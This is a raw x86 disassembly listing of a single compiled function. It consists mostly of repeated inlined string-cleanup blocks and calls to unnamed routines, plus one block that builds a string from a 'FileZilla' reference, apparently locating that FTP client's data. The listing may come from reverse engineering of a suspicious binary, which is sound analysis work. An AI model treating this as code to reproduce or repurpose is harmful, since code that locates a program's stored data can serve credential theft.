mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a463f
mov ecx, dword [ebp - 0x25c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4635
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 0xf
mov byte [ebp - 0x25c], 0
cmp edx, 0x10
jb 0x100a4694
mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a468a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x230]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x100a46e9
mov ecx, dword [ebp - 0x244]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a46df
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x230], 0xf
mov byte [ebp - 0x244], 0
cmp edx, 0x10
jb 0x100a473e
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4734
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x214]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x100a4793
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4789
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
push 0
push 0x100f3188
lea ecx, [ebp - 0x140]
call fcn.100b3d90
push 0
push 0x100f3188
lea ecx, [ebp - 0x170]
call fcn.100b3d90
push 0
push 0x100f3188
lea ecx, [ebp - 0x188]
call fcn.100b3d90
push 0
push 0x100f3188
lea ecx, [ebp - 0x158]
call fcn.100b3d90
inc dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x100a481b
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4811
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov ebx, dword [ebp - 0x210]
push ebx
call fcn.100cbf45
add esp, 4
test eax, eax
je 0x100a3481
mov esi, dword [ebp - 0x1bc]
push ebx
call fcn.100c897b
add esp, 4
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a4ac2
cmp byte [eax], 0x30
jne 0x100a4ac2
mov edx, dword [ebp - 0x1c0]
lea ecx, [ebp - 0x228]
call fcn.100833d0
push 0xb
push str.FileZilla__
push ecx
mov ecx, eax
call fcn.100b8070
push 0x100fc86c
lea ecx, [ebp - 0x1dc]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1dc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1cc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b3600
push 0x100fc868
lea ecx, [ebp - 0x1f4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b3600
push esi
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x20c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b41e0
add esp, 4
mov ecx, esi
push eax
call fcn.100b36c0
mov edx, dword [ebp - 0x1f8]
cmp edx, 0x10
jb 0x100a496e
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4964
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cb8
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
cmp edx, 0x10
jb 0x100a49c3
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a49b9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cb8
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a4a18
mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4a0e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cb8
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x100a4a6d
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4a63
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cb8
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x214]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x100a4ac2
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4ab8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cb8
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x18c]
cmp edx, 0x10
jb 0x100a4afc
mov ecx, dword [ebp - 0x1a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4af2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cc7
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0xf
mov byte [ebp - 0x1a0], 0
cmp edx, 0x10
jb 0x100a4b51
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4b47
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cc7
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
cmp edx, 0x10
jb 0x100a4ba6
mov ecx, dword [ebp - 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4b9c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cc7
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
cmp edx, 0x10
jb 0x100a4bfb
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4bf1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cc7
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
cmp edx, 0x10
jb 0x100a4c50
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4c46
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cc7
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
cmp edx, 0x10
jb 0x100a4c9b
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4c91
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cc7
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100bf4c9
mov esp, ebp
pop ebp
ret
call fcn.100cc12d
call fcn.100cc12d
call fcn.100cc12d
call fcn.100b4020
call fcn.100833c0
call fcn.100cc12d
int3